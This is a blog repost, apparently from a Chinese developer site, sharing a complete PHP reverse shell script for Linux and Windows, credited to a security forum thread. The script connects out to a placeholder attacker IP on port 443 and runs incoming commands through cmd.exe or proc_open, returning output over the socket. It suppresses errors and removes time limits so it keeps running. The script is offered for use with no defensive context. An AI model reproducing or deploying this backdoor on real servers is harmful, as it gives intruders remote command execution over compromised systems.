zoukankan      html  css  js  c++  java
  • PHP反弹脚本 Linux/Windows两用

    <?php
        error_reporting (E_ERROR);
        ignore_user_abort(true);
        ini_set('max_execution_time',0);
        $ipaddr = 'xxx.xxx.xxx.xxx';
        $port = '443';
        $msg = php_uname()."
    ------------Code by Spider-------------
    ";
        $cwd = getcwd();
         
        function procopen($cmd,$env,$sock) {
        global $cwd;
        $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
        $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
        if (is_resource($process)) {
        fwrite($pipes[0],$cmd);
        fclose($pipes[0]);
        $msg = stream_get_contents($pipes[1]);
        fwrite($sock,$msg);
        fclose($pipes[1]);
        $msg = stream_get_contents($pipes[2]);
        fwrite($sock,$msg);
        fclose($pipes[2]);
        proc_close($process);
        }
        return true;
        }
         
        function command($cmd,$sock) {
        if(substr(PHP_OS,0,3) == 'WIN') {
        $wscript = new COM("Wscript.Shell");
        if($wscript && (!stristr(get_cfg_var("disable_classes"),'COM'))) {
        $exec = $wscript->exec('c:\windows\system32\cmd.exe /c '.$cmd); //自定义CMD路径
        $stdout = $exec->StdOut();
        $stroutput = $stdout->ReadAll();
        fwrite($sock,$stroutput);
        } else {
        $env = array('path' => 'c:\windows\system32');
        procopen($cmd,$env,$sock);
        }
        } else {
        $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
        procopen($cmd,$env,$sock);
        }
        return true;
        }
         
        $sock = fsockopen($ipaddr,$port);
        fwrite($sock,$msg);
        while ($cmd = fread($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
        $cwd = trim(substr($cmd,3,-1));
        chdir($cwd);
        $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
        echo 'logout!';
        break;
        } else {
        command($cmd,$sock);
        }
        }
        fclose($sock);
        ?>
    

    来源:

    https://www.t00ls.net/thread-21255-1-1.html

    逆水行舟,不进则退。
  • 相关阅读:
    手动实现 SpringMVC
    2014年9月9日 高级命令command的使用(上)
    2014年8月29日 透视图补充及视图开头
    2014年8月24日 菜单 工具条 右键菜单(上下文菜单)
    2014年8月14日 透视图
    2014年8月8日
    2014年8月1日
    关于EMF中从schema到ecore转变中的默认处理问题
    JAVA一些常用的时间操作
    echarts基本使用
  • 原文地址:https://www.cnblogs.com/rab3it/p/14967906.html
Copyright © 2011-2022 走看看